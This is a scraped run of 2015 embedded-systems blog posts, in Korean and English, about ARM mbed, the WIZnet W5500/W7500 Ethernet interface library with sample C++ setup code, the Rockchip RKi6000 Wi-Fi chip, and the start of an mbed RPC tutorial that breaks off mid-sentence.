<li>기존에는 같은 Cortex M processor를 사용하더라고 Vendor마다 각각 사용하는 방법이 달라 Function적으로는 같은 코드지만, 다른 Vendor의 MCU를 사용할 경우에는 각각의 MCU에 의존적인 부분들을 선별하여 고치는 poring작업들이 개발자들의 괴롭혔다. Fuctionc적으로는 검증되어있지만 MCU바뀌어서 벌어지는 코드 수정에 따른 무한 디버깅이 개발자들을 지치게 하죠. 이러한 문제를 해결하기 위해 <a href="http://www.arm.com/products/processors/cortex-m/cortex-microcontroller-software-interface-standard.php">Cortex Microcontroler Software Interface Standard</a>가 등장했다.. CMSIS는 Vendor별로 존재하던 Hardware부분을 Hardware abstraction layer이용하여 각각의 다른 Vendor의 MCU를 하나의 Cortex M processor 사용하는 것 처럼 할 수 있게 하였다. 따라서 개발자들은 Hardware변경에 따라 발생하는 문제들을 줄일 수 있고 자기가 개발하려는 Function기능에 더욱 집중할 수 있게 되었다. mbedOS에도 이 CMSIS 기반으로 작성된다. 따라서, mbedOS를 이용함에 있어 Hardware에 따른 수정들이 최소화 하였다.</li>
</ul>
<h2 id="[mbed-device-server](https://mbed.org/technology/device-server/)"><a name="[mbed-device-server](https://mbed.org/technology/device-server/)" href="#[mbed-device-server](https://mbed.org/technology/device-server/)"></a><a href="https://mbed.org/technology/device-server/">mbed Device Server</a></h2>
<p><a href="https://www.flickr.com/photos/129289794@N06/19136468158" title="additional_diag-_3mbed_dpage2_d3-01 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/503/19136468158_8d399e8fb6.jpg" width="500" height="415" alt="additional_diag-_3mbed_dpage2_d3-01"></a></p>
<ul>
<li>현재 (2015.07)에는 mbed Device Server는 Beta open으로 partner만이 접근이 가능하다. <a href="https://xively.com/">Xivily</a>, <a href="axeda.com">Axeda</a> 와 같은 기존의 Cloud Service업체들의 기능들을 ARM mbed에서 수용하여 IoT Cloud Service의 제공을 준비중이다. </li>
</ul>
<h2 id="[web-ide](https://mbed.org/technology/tools/)"><a name="[web-ide](https://mbed.org/technology/tools/)" href="#[web-ide](https://mbed.org/technology/tools/)"></a><a href="https://mbed.org/technology/tools/">Web IDE</a></h2>
<p><a href="https://www.flickr.com/photos/129289794@N06/19318010532" title="compiler-overview by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/480/19318010532_38bfe0f512.jpg" width="500" height="333" alt="compiler-overview"></a><br>KEIL와 IAR과 같은 IDE가 Web기반으로 제공되고 있다. 따라서 IDE를 설치하는 과정들이 생략되는 단점이 생긴다. 물론 Web-bwroser를 사용하기 때문에 네트워크 상황에서 또한 Web-IDE Server의 상황에따라 “렉”이 걸릴때가 있다. 이러한 문제는 Web-IDE에서 현재 작업중인 코드를 Export하는 기능을 제공하기 때문에 코드를 프로젝트단위로 Local PC로 다운로드하여 코드 작업을 할 수도있다. 다만, 있때는 자신이 사용하려는 IDE가 Local PC에 구축되어 있어야 한다. </p>
<p>자 여기서 궁금한점은 Remote에 있는 Web-IDE에서 Compile된 Bin파일은 어떻게 Local에 있는 Target Board에 Program시키냐는 것이다. 이문제는 아래의 두 단계에 의해 해결된다. </p>
<ul>
<li>Complie이 성공적일 경우 아래의 경우처럼 Bin파일 형태로 Web-bwroser를 통해 다운받아진다. (왼쪽 밑에부분 다운로드된 Bin파일존재)<br><a href="https://www.flickr.com/photos/129289794@N06/19324055155" title="2015-07-01_14-22-11 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/420/19324055155_68877a4440_z.jpg" width="640" height="559" alt="2015-07-01_14-22-11"></a></li>
<li>mbed platform들은 Local PC에서 아래의 그림과 같이 드라이브(mbed)로 인식된다. 따라서 다운 받은 Bin파일을 mbed drive에 Copy하면 program은 끝!<br><a href="https://www.flickr.com/photos/129289794@N06/19318011642" title="2015-07-01_14-25-18 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/421/19318011642_5a12a1a836_z.jpg" width="640" height="434" alt="2015-07-01_14-25-18"></a></li>
</ul>
<h2 id="mbed.org-탐방"><a name="mbed.org-탐방" href="#mbed.org-탐방"></a>mbed.org 탐방</h2>
<ul>
<li><p>mbed.org에서 로그인 이후 아래의 그림 오른쪽 상단에 있는 <strong>Developer Site</strong>를 클릭!<br><a href="https://www.flickr.com/photos/129289794@N06/18703445523" title="2015-07-01_14-09-02 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/401/18703445523_72e3ef4c45_z.jpg" width="640" height="636" alt="2015-07-01_14-09-02"></a></p>
</li>
<li><p>아래와 같이 Product까지 개발할 수 있는 Developer Site에 접속했다. 메뉴바를 보면 Platform / Components / Handbook / Cookbook등이 존재한다 하나씩 구경해보자<br><a href="https://www.flickr.com/photos/129289794@N06/19324058605" title="2015-07-01_14-09-31 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/406/19324058605_225700339e_z.jpg" width="640" height="636" alt="2015-07-01_14-09-31"></a></p>
</li>
<li><p>Platform<br>ARM mbed communy에 공식적으로 등록된 platform을 소개하는 페이이며,<br>각각의 platform를 클릭해서 들어가면 Pin map / Schematic / HelloWorld Code(예제코드) / 살수 있는 곳 의 형식으로 Platform에 대한 정보가 답겨 있다.<br><a href="https://www.flickr.com/photos/129289794@N06/19136471228" title="2015-07-01_14-10-24 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/477/19136471228_ea02181009_z.jpg" width="640" height="636" alt="2015-07-01_14-10-24"></a></p>
</li>
<li><p>Components<br>ARM mbed platform에 적용이 가능한 Actuator / Sensor / Communication 등의 module를을 소개하는 페이지 이며,<br>각각의 Components 클릭해서 들어가면 Pin map / Schematic / HelloWorld Code(예제코드) / 살수 있는 곳 의 형식으로 Components 대한 정보가 답겨 있다.<br><a href="https://www.flickr.com/photos/129289794@N06/19327994731" title="2015-07-01_14-10-36 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/399/19327994731_12b9f3268b_z.jpg" width="640" height="636" alt="2015-07-01_14-10-36"></a></p>
</li>
<li><p>Handbook<br>ARM mbed platform을 이용하기 위한 Team mbed에서 official적으로 공개하는 Code / Tutorial이 담겨진 페이지이다.<br>아래 그림과 같이 Analog IO제어 부터 Networking에 대한 official material이 제공된다.<br><a href="https://www.flickr.com/photos/129289794@N06/18703441783" title="2015-07-01_14-11-12 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/419/18703441783_cf5491b44f_z.jpg" width="640" height="636" alt="2015-07-01_14-11-12"></a></p>
</li>
<li><p>Cookbook<br>ARM mbed platform을 이용하는 User각자가 공개하는 Code / Tutorial이 담겨진 페이지이다.<br><a href="https://www.flickr.com/photos/129289794@N06/18703441893" title="2015-07-01_14-12-09 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/392/18703441893_2f5c285ed5_z.jpg" width="640" height="636" alt="2015-07-01_14-12-09"></a></p>
</li>
<li><p>Code<br>ARM mbed community에서 존재하는 Code를 검색할 수 있는 페이지 이다.<br><a href="https://www.flickr.com/photos/129289794@N06/18701540804" title="2015-07-01_14-12-28 by Roy Kim, on Flickr"><img src="https://c1.staticflickr.com/1/472/18701540804_1a47937eda_z.jpg" width="640" height="636" alt="2015-07-01_14-12-28"></a></p>
</li>
<li><p>Compiler<br>ARM mbed의 Web-IDE이다. 아래와 같이 Program workspace창에서 여러개의 프로젝트를 관리할 수 있다.<br>또한 Web-IDE에서 Code editing / 컴파일 / 버젼관리 (commit/publish) / import&export 등의 대표적인 기능을 지원한다.<br><a href="https://www.flickr.com/photos/129289794@N06/19318011882" title="2015-07-01_14-13-19 by Roy Kim, on Flickr"><img src="https://c2.staticflickr.com/4/3681/19318011882_67d1c58fb9_z.jpg" width="640" height="636" alt="2015-07-01_14-13-19"></a></p>
</li>
</ul>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-21571459327378103482015-06-18T21:25:00.000-07:002015-06-29T01:26:36.444-07:00WIZnetInterface for ARMmbed<h1 id="wiznetinterface-for-armmbed"><a name="wiznetinterface-for-armmbed" href="#wiznetinterface-for-armmbed"></a>WIZnetInterface for ARMmbed</h1>
<p>This is WIZnet Ethernet Interface using Hardware TCP/IP chip, W5500 and TCP/IP Offload Engine, W7500.<br><a href="https://developer.mbed.org/users/embeddist/code/WIZnetInterface/">Users » embeddist » Code » WIZnetInterface</a><br>-> WIZnetInterface Lib will be released on <a href="https://developer.mbed.org/teams/WIZnet/">Team WIZnet</a></p>
<ul>
<li>WIZwiki_W7500<ul>
<li><a href="http://https://developer.mbed.org/platforms/WIZwiki-W7500/">Platforms » WIZwiki-W7500</a><br><img src="https://developer.mbed.org/media/cache/platforms/250x250xWIZwiki_w7500_mbed_9tvChi0.png.250x250_q85.jpg.pagespeed.ic.QVNZFUwNXg.webp" alt="WIZwiki_W7500"></li></ul>
</li></ul>
<ul>
<li>W5500 Ethernet Shield<ul>
<li><a href="https://developer.mbed.org/components/W5500-Ethernet-Kit-for-IoT/">Components » Communication » Ethernet » W5500 Ethernet Kit for IoT</a><br><img src="https://developer.mbed.org/media/cache/components/components/200x181xfetch.phpmediaoshw5500_ethernet_shieldw5500_main_picture2.png.200x200_q85.jpg.pagespeed.ic.IBFzetSlhD.webp" alt="W5500 Ethernet Shield"></li></ul>
</li></ul>
<h2 id="what-is-this?"><a name="what-is-this?" href="#what-is-this?"></a>What is this?</h2>
<p>This is an Ethernet Interface library port-based on <a href="https://developer.mbed.org/users/mbed_official/code/EthernetInterface/docs/tip/">EthernetInterface</a>. This is where the driver using TCP/IP offload(W5500/W7500), which is a market-proven hardwired TCP/IP stack, is implemented. <strong>Therefore, this library does not need lwip-eth.library.</strong> </p>
<ul>
<li>The Socket folder contains files that implement the SocketAPI and Protocols as like DHCP and DNS. </li><li>The arch folder contains files that implement the driver for W5500 and W7500x_TOE. </li><li>The EthernetInterface.c/.h implement the functions from SocketAPI/EthernetInterface.h</li><li>The eth_arch.h implement to select TCP/IP TOE depending on platform.</li></ul>
<h2 id="what-is-new?"><a name="what-is-new?" href="#what-is-new?"></a>What is new?</h2>
<ul>
<li><p>eth_arch.h<br>The eth_arch.h file is added to select arch depending to Target platform, we used define of TARGET_platform.</p>
<pre><code class="cpp">#if defined(TARGET_WIZwiki_W7500)
#include "W7500x_toe.h"
#define __DEF_USED_IC101AG__ //For using IC+101AG@WIZwiki-W7500
#else
#include "W5500.h" // W5500 Ethernet Shield
//#define USE_WIZ550IO_MAC // WIZ550io; using the MAC address
#endif
</code></pre>
</li><li><p>link()<br>The link function is added to check Ethernet link (PHY) up or not.</p>
<pre><code class="cpp"> * Check if an ethernet link is pressent or not.
*
* @returns true if successful
*/
bool link(int wait_time_ms= 3*1000);
</code></pre>
</li><li><p>link_set()<br>The set_link function is added to check Ethernet link (PHY) up or not.</p>
<pre><code class="cpp"> /*
* Sets the speed and duplex parameters of an ethernet link.
*
* @returns true if successful
*/
void set_link(PHYMode phymode);
</code></pre>
</li><li><p>Included DHCP and DNS lib<br> DHCP and DNS lib moved in Socket folder.<br> <img src="https://c1.staticflickr.com/1/457/19070511119_3a959c3760.jpg" alt="Included DHCP&DNS"></p>
</li></ul>
<h2 id="how-to-import"><a name="how-to-import" href="#how-to-import"></a>How to import</h2>
<ul>
<li>import and update<ul>
<li>Right Click and click ‘From Import Wizard’ to import WIZnetInterface Library<br><img src="https://c2.staticflickr.com/4/3828/18755734038_463752eb11.jpg" alt="import library" width="50%" height="50%"></li><li>In import Wizard, input ‘WIZnetInterfae” in search box and click ‘Search’ button. Click ‘WIZnetInterface’ in search result window and click ‘Import’ button.<br><img src="https://c2.staticflickr.com/4/3711/18938060232_95138acb91.jpg" alt="Search WIZnetInterface" width="50%" height="50%"></li><li>Set ‘Import name’ and ‘Target path’, check ‘update’<br><img src="https://c2.staticflickr.com/4/3665/18917138336_891dfc70c2.jpg" alt="import and update WIZnetInterface" width="50%" height="50%"> </li></ul>
</li></ul>
<h2 id="where-is-clone-repository"><a name="where-is-clone-repository" href="#where-is-clone-repository"></a>Where is Clone repository</h2>
<p><strong>hg clone <a href="https://embeddist@developer.mbed.org/users/embeddist/code/WIZnetInterface/">https://embeddist@developer.mbed.org/users/embeddist/code/WIZnetInterface/</a></strong></p>
<h2 id="how-to-use"><a name="how-to-use" href="#how-to-use"></a>How to use</h2>
<ul>
<li><p>make main.cpp</p>
<ul>
<li><p>WIZwiki_W7500</p>
<pre><code class="cpp">#define _DHCP_
EthernetInterface eth; /*1. Creat eth object from EthernetInteface class*/
main()
{
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x01, 0x02, 0x03};
/*2. Set MAC, IP, Gatway address and Subnet Mask*/
#ifdef _DHCP_
/*2.1 Set MAC address, Initialize the interface with DHCP*/
eth.init(mac_addr);
#else
/*2.2 Set MAC address and Set MAC, IP, Gatway address and Subnet Mask with string type */
eth.init(mac_addr, "192.168.77.34", "255.255.255.0", "192.168.77.1"); //Use fixed IP address
#endif
/*3. Check Ethernet Link-Done */
printf("Check Ethernet Link\r\n");
if(eth.link() == true) { printf("- Ethernet PHY Link-Done \r\n"); }
else {printf("- Ethernet PHY Link- Fail\r\n");}
/*4. Set IP addresses ,start DHCP if needed */
eth.connect();
printf("Connected, IP: %s\n\r", eth.getIPAddress());
printf("MASK: %s\n\r", eth.getNetworkMask());
printf("GW: %s\n\r",eth.getGateway());
...
/* Your application
Visit for examples - https://developer.mbed.org/teams/WIZnet/
*/
}
</code></pre>
</li><li><p>W5500 Ethernet Shield</p>
<pre><code class="cpp">#define _DHCP_
/* 0. Set SPI Interface with SPI API*/
SPI spi(D11, D12, D13); // mosi, miso, sclk
/*1. Creat eth object from EthernetInteface class*/
EthernetInterface eth(&spi, D10, D9); // spi, cs, reset
main()
{
uint8_t mac_addr[6] = {0x00, 0x08, 0xDC, 0x1D, 0x62, 0x11};
/*2. Set MAC, IP, Gatway address and Subnet Mask*/
#ifdef _DHCP_
/*2.1 Set MAC address, Initialize the interface with DHCP*/
eth.init(mac_addr);
#else
/*2.2 Set MAC address and Set MAC, IP, Gatway address and Subnet Mask with string type */
eth.init(mac_addr, "192.168.77.34", "255.255.255.0", "192.168.77.1"); //Use fixed IP address
#endif
/*3. Check Ethernet Link-Done */
printf("Check Ethernet Link\r\n");
if(eth.link() == true) { printf("- Ethernet PHY Link-Done \r\n"); }
else {printf("- Ethernet PHY Link- Fail\r\n");}
/*4. Set IP addresses ,start DHCP if needed */
eth.connect();
printf("Connected, IP: %s\n\r", eth.getIPAddress());
printf("MASK: %s\n\r", eth.getNetworkMask());
printf("GW: %s\n\r",eth.getGateway());
...
/* Your application
Visit for examples - https://developer.mbed.org/teams/WIZnet/
*/
}
</code></pre>
</li></ul>
</li></ul>
<h2 id="wiznetinterface-implementations-for-mbed-ethenret-interface"><a name="wiznetinterface-implementations-for-mbed-ethenret-interface" href="#wiznetinterface-implementations-for-mbed-ethenret-interface"></a>WIZnetInterface Implementations for mbed Ethenret Interface</h2>
<p>For networking based on Ethernet network, <strong><a href="https://developer.mbed.org/handbook/Ethernet-Interface">Ethenret Interface</a></strong> library is provided and is composed TCP/IP Protocol layer, Ethernet, EthernetInterface and Socket. In other words, the EthernetInterface library includes the networking stack necessary for connect betwwen mbed platform and Internet.</p>
<p>Each layer in EthernetInterface provides APIs to connect to the internet. </p>
<ul>
<li>EthernetInterfaec : <a href="https://developer.mbed.org/handbook/Ethernet-Interface"><a href="https://developer.mbed.org/handbook/Ethernet-Interface">https://developer.mbed.org/handbook/Ethernet-Interface</a></a></li><li>Socket : <a href="https://developer.mbed.org/handbook/Socket"><a href="https://developer.mbed.org/handbook/Socket">https://developer.mbed.org/handbook/Socket</a></a></li><li>TCP/IP Protocols : <a href="https://developer.mbed.org/handbook/TCP-IP-protocols-and-APIs"><a href="https://developer.mbed.org/handbook/TCP-IP-protocols-and-APIs">https://developer.mbed.org/handbook/TCP-IP-protocols-and-APIs</a></a></li><li>Ethernet : <a href="https://developer.mbed.org/handbook/Ethernet"><a href="https://developer.mbed.org/handbook/Ethernet">https://developer.mbed.org/handbook/Ethernet</a></a></li></ul>
<h3 id="wiznetinterface-implementation-base-on-mbed-ethernet-interface"><a name="wiznetinterface-implementation-base-on-mbed-ethernet-interface" href="#wiznetinterface-implementation-base-on-mbed-ethernet-interface"></a>WIZnetInterface Implementation base on mbed Ethernet Interface</h3>
<ul>
<li><p>EthernetInterface- EthernetInterface Class</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Func.</th>
<th>Descriptions</th>
<th>WIZnetInterface Support</th>
</tr>
</thead>
<tbody>
<tr>
<td>static int</td>
<td>init ()</td>
<td>Initialize the interface with DHCP.</td>
<td>O</td>
</tr>
<tr>
<td>static int</td>
<td>init (const char <em>ip, const char </em>mask, const char *gateway)</td>
<td>Initialize the interface with a static IP address.</td>
<td>O</td>
</tr>
<tr>
<td>static int</td>
<td>connect (unsigned int timeout_ms=15000)</td>
<td>Connect Bring the interface up, start DHCP if needed.</td>
<td>O</td>
</tr>
<tr>
<td>static int</td>
<td>disconnect ()</td>
<td>Disconnect Bring the interface down.</td>
<td>X</td>
</tr>
<tr>
<td>static char*</td>
<td>getMACAddress ()</td>
<td>Get the MAC address of your Ethernet interface.</td>
<td>O</td>
</tr>
<tr>
<td>static char*</td>
<td>getIPAddress ()</td>
<td>Get the IP address of your Ethernet interface.</td>
<td>O</td>
</tr>
<tr>
<td>static char*</td>
<td>getGateway ()</td>
<td>Get the Gateway address of your Ethernet interface.</td>
<td>O</td>
</tr>
<tr>
<td>static char*</td>
<td>getNetworkMask ()</td>
<td>Get the Network mask of your Ethernet interface.</td>
<td>O</td>
</tr>
<tr>
<td>void</td>
<td>EthernetInterface (PinName mosi, PinName miso, PinName sclk, PinName cs, PinName reset)</td>
<td>Initialize SPI SPI pins to user for SPI interface and Reset pin for W5500</td>
<td>0 (for W5500)</td>
</tr>
<tr>
<td>void</td>
<td>EthernetInterface (SPI* spi, PinName cs, PinName reset)</td>
<td>Initialize SPI SPI pins to user for SPI interface and Reset pin for W5500</td>
<td>O (for W5500)</td>
</tr>
</tbody>
</table>
</li><li><p>Socket - TCPSocketServer Class</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Func.</th>
<th>Descriptions</th>
<th>WIZnetInterface Support</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>TCPSocketServer ()</td>
<td>Instantiate a TCP Server.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>bind (int port)</td>
<td>Bind a socket to a specific port.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>listen (int backlog=1)</td>
<td>Start listening for incoming connections.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>accept ( TCPSocketConnection &connection)</td>
<td>Accept a new connection.</td>
<td>O</td>
</tr>
<tr>
<td>void</td>
<td>set_blocking (bool blocking, unsigned int timeout=1500)</td>
<td>Set blocking or non-blocking mode of the socket and a timeout on blocking socket operations.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>set_option (int level, int optname, const void *optval, socklen_t optlen)</td>
<td>Set socket options.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>get_option (int level, int optname, void <em>optval, socklen_t </em>optlen)</td>
<td>Get socket options.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>close (bool shutdown=true)</td>
<td>Get socket options.</td>
<td>O</td>
</tr>
</tbody>
</table>
</li><li><p>Socket - TCPSocketConnection Class</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Func.</th>
<th>Descriptions</th>
<th>WIZnetInterface Support</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>TCPSocketConnection ()</td>
<td>TCP socket connection.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>connect (const char *host, const int port)</td>
<td>Connects this TCP socket to the server.</td>
<td>O</td>
</tr>
<tr>
<td>bool</td>
<td>is_connected (void)</td>
<td>Check if the socket is connected.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>send (char *data, int length)</td>
<td>Send data to the remote host.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>send_all (char *data, int length)</td>
<td>Send all the data to the remote host.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>receive (char *data, int length)</td>
<td>Receive data from the remote host.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>receive_all (char *data, int length)</td>
<td>Receive all the data from the remote host.</td>
<td>O</td>
</tr>
<tr>
<td>void</td>
<td>set_blocking (bool blocking, unsigned int timeout=1500)</td>
<td>Set blocking or non-blocking mode of the socket and a timeout on blocking socket operations.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>set_option (int level, int optname, const void *optval, socklen_t optlen)</td>
<td>Set socket options.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>get_option (int level, int optname, void <em>optval, socklen_t </em>optlen)</td>
<td>Get socket options.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>close (bool shutdown=true)</td>
<td>Close the socket.</td>
<td>O</td>
</tr>
<tr>
<td>void</td>
<td>reset_address (void)</td>
<td>Reset the address of this endpoint.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>set_address (const char *host, const int port)</td>
<td>Set the address of this endpoint.</td>
<td>O</td>
</tr>
<tr>
<td>char*</td>
<td>get_address (void)</td>
<td>Get the IP address of this endpoint.</td>
<td>O</td>
</tr>
<tr>
<td>int</td>
<td>get_port (void)</td>
<td>Get the port of this endpoint.</td>
<td>O</td>
</tr>
</tbody>
</table>
</li><li><p>etnerhet_api - ethernet_api Class</p>
<table>
<thead>
<tr>
<th>Type</th>
<th>Func.</th>
<th>Descriptions</th>
<th>WIZnetInterface Support</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Ethernet ()</td>
<td>Initialise the ethernet interface.</td>
<td>X</td>
</tr>
<tr>
<td>virtual</td>
<td>~Ethernet ()</td>
<td>Powers the hardware down.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>write (const char *data, int size)</td>
<td>Writes into an outgoing ethernet packet.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>send ()</td>
<td>Send an outgoing ethernet packet.</td>
<td>X </td>
</tr>
<tr>
<td>int</td>
<td>receive ()</td>
<td>Recevies an arrived ethernet packet.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>read (const char *data, int size)</td>
<td>Read from an recevied ethernet packet.</td>
<td>X</td>
</tr>
<tr>
<td>void</td>
<td>address (char *mac)</td>
<td>Gives the ethernet address of the mbed.</td>
<td>X</td>
</tr>
<tr>
<td>int</td>
<td>link()</td>
<td>Returns if an ethernet link is pressent or not.</td>
<td>O</td>
</tr>
<tr>
<td>void</td>
<td>set_link(Mode mode)</td>
<td>Sets the speed and duplex parameters of an ethernet link.</td>
<td>O</td>
</tr>
</tbody>
</table>
</li></ul>
<h2 id="revision-history"><a name="revision-history" href="#revision-history"></a>Revision History</h2>
<ul>
<li>Initial Release : 19 June. 2015</li></ul>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-30122271824882028102015-06-08T18:47:00.001-07:002015-06-08T18:48:23.639-07:00[scrap] RKi6000 Wi-Fi for IoT, Lowest power in the world<div>
<br /></div>
<div>
<ul>
<li>Rockchip annouces the lowet power Wi-Fi, RKI6000, for IoT. </li>
</ul>
</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://photocdn.sohu.com/20150607/mp17957012_1433645690802_2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" src="http://photocdn.sohu.com/20150607/mp17957012_1433645690802_2.jpg" height="252" width="320" /></a></div>
<div>
</div>
<span style="background-color: white; color: #333333; font-family: Roboto, arial, sans-serif; font-size: 13px; line-height: 17px;">Rockchip RKi6000 is claimed to be the lowest power Wi-Fi in the world, similar to that of Bluetooth 4.0 LE, it is designed for IoT applications, for Smart Homes, for smart lights, doors, kitchens, wearables, consumer electronics, home appliances, home safety, automation systems, automobiles and medical equipment, etc. Rockchip says that it can run for 35 years on AAA Batteries (when set to only ping data only once every several minutes) The RKi6000 uses Rockchip's new ultra-low power Wi-Fi and memory technology to reduce power consumption of IoT (Internet of Things) smart devices by 85%, with power consumption equal to that of Bluetooth 4.0 LE (Low Energy), with receiving power consumption around 20mAh during use, 85% lower than standard Wi-Fi built with RF architecture. When compared with the Bluetooth/ZIGBEE standard, Rockchip says that Wi-Fi is more convenient to use for IoT with the easy Internet connection provided by the standard Wi-Fi infrastructure, but because of its high power requirements, Wi-Fi was previously unable to be incorporated into portable devices with an electrical current limit.</span><br />
<div>
<ul>
<li>Power consumption</li>
</ul>
</div>
<a href="http://www.cnx-software.com/2015/06/03/rockchip-rki6000-wifi-soc-promises-bluetooth-4-0-power-consumption-levels/" target="_blank">http://www.cnx-software.com/2015/06/03/rockchip-rki6000-wifi-soc-promises-bluetooth-4-0-power-consumption-levels/</a><br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.cnx-software.com/wp-content/uploads/2015/06/Rockchip_RKi6000_vs_Qualcomm_CSR_TI_CC2540.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://www.cnx-software.com/wp-content/uploads/2015/06/Rockchip_RKi6000_vs_Qualcomm_CSR_TI_CC2540.png" /></a></div>
<div>
<div>
<br /></div>
<div>
* YouTube materials</div>
<div>
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/uZEXlauUPSg/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/uZEXlauUPSg?feature=player_embedded" width="320"></iframe></div>
<div>
<br /></div>
<div>
<span style="color: #0000ee;"><u><br /></u></span><a href="https://www.youtube.com/watch?v=uZEXlauUPSg" target="_blank"></a>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://www.youtube.com/watch?v=uZEXlauUPSg" target="_blank"><br /></a></div>
<a href="https://www.youtube.com/watch?v=uZEXlauUPSg" target="_blank">
</a></div>
</div>
Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-34335612638762298202015-06-05T00:06:00.000-07:002015-06-05T00:08:20.391-07:00List of Arduino Ethernet Shield clone with W5500<img border="0" src="http://2.bp.blogspot.com/-Q_pSfqBoqAI/VXFKXqkYLhI/AAAAAAAAG8I/-127Dit3R-A/s320/ArduinoEthernetshield2-tri1.jpg" /></a>
<div class="storify"><iframe src="//storify.com/embeddist/arduino-ethernet-clone-with-w5500/embed?border=false" width="100%" height="750" frameborder="no" allowtransparency="true"></iframe><script src="//storify.com/embeddist/arduino-ethernet-clone-with-w5500.js?border=false"></script><noscript>[<a href="//storify.com/embeddist/arduino-ethernet-clone-with-w5500" target="_blank">View the story "Arduino Ethernet Shield clone with W5500" on Storify</a>]</noscript></div><div class="separator" style="clear: both; text-align: center;"><a href="http://2.bp.blogspot.com/-Q_pSfqBoqAI/VXFKXqkYLhI/AAAAAAAAG8I/-127Dit3R-A/s1600/ArduinoEthernetshield2-tri1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"></div>Anonymoushttp://www.blogger.com/profile/15790281820787234069noreply@blogger.com0tag:blogger.com,1999:blog-143079075104332374.post-91080726824667142812015-06-04T21:50:00.000-07:002015-06-04T21:51:41.273-07:00mbed RPC with W5500 Ethernet Shield<html>
<head>
</head>
<body class="markdown haroopad">
<p>This post shows how to use mbed RPC with W5500 Ethernet Shield and how to port an Ethernet application used lwIP to W5500Interface.</p><h2 id="remote-procedure-call"><a name="remote-procedure-call" href="#remote-procedure-call"></a>Remote Procedure Call</h2><p>>In computer science, a remote procedure call (RPC) is an inter-process communication that allows a computer program to cause a subroutine or procedure to execute in another address space (commonly on another computer on a shared network) without the programmer explicitly coding the details for this remote interaction.<br><a href="http://en.wikipedia.org/wiki/Remote_procedure_call"></a><a href="http://en.wikipedia.org/wiki/Remote_procedure_call">http://en.wikipedia.org/wiki/Remote_procedure_call</a></p><p><img src="http://uw714doc.sco.com/en/SDK_netapi/graphics/rpc.gif" alt="RPC"><br>*source - <a href="http://uw714doc.sco.com/en/SDK_netapi/rpcpD.how_RPC_works.html">http://uw714doc.sco.com/en/SDK_netapi/rpcpD.how_RPC_works.html</a></p><h2 id="hw---frdm-kl25z-+-w5500-ethernet-shield"><a name="hw---frdm-kl25z-+-w5500-ethernet-shield" href="#hw---frdm-kl25z-+-w5500-ethernet-shield"></a>HW - FRDM-KL25Z + W5500 Ethernet Shield</h2><p><img src="https://c1.staticflickr.com/9/8730/16681347663_0f8b2e9301.jpg" alt="FRDM-KL25Z + W5500 Ethernet Shield"></p><ul>
<li><a href="http://developer.mbed.org/platforms/KL25Z/"></a><a href="http://developer.mbed.org/platforms/KL25Z/">http://developer.mbed.org/platforms/KL25Z/</a></li><li><a href="http://developer.mbed.org/components/W5500-Ethernet-Kit-for-IoT/"></a><a href="http://developer.mbed.org/components/W5500-Ethernet-Kit-for-IoT/">http://developer.mbed.org/components/W5500-Ethernet-Kit-for-IoT/</a><br>-<strong>HW connection : D10 - SCS / D11 - MOSI / D12 - MISO / D13 - SCLK</strong></li></ul><h2 id="sw---mbed-rpc"><a name="sw---mbed-rpc" href="#sw---mbed-rpc"></a>SW - mbed RPC</h2><p>Server that executes remote procedure call (RPC) commands through HTTP.<br><a href="http://developer.mbed.org/users/feb11/code/HTTP-Server/">mbed RPC @developer.mbed.org/handbook</a><br>In RPC libaray, a simple HTTP Server can execute RPC commands sent from HTTP Client.<br>This library uses EthernetInterface (lwIP) and 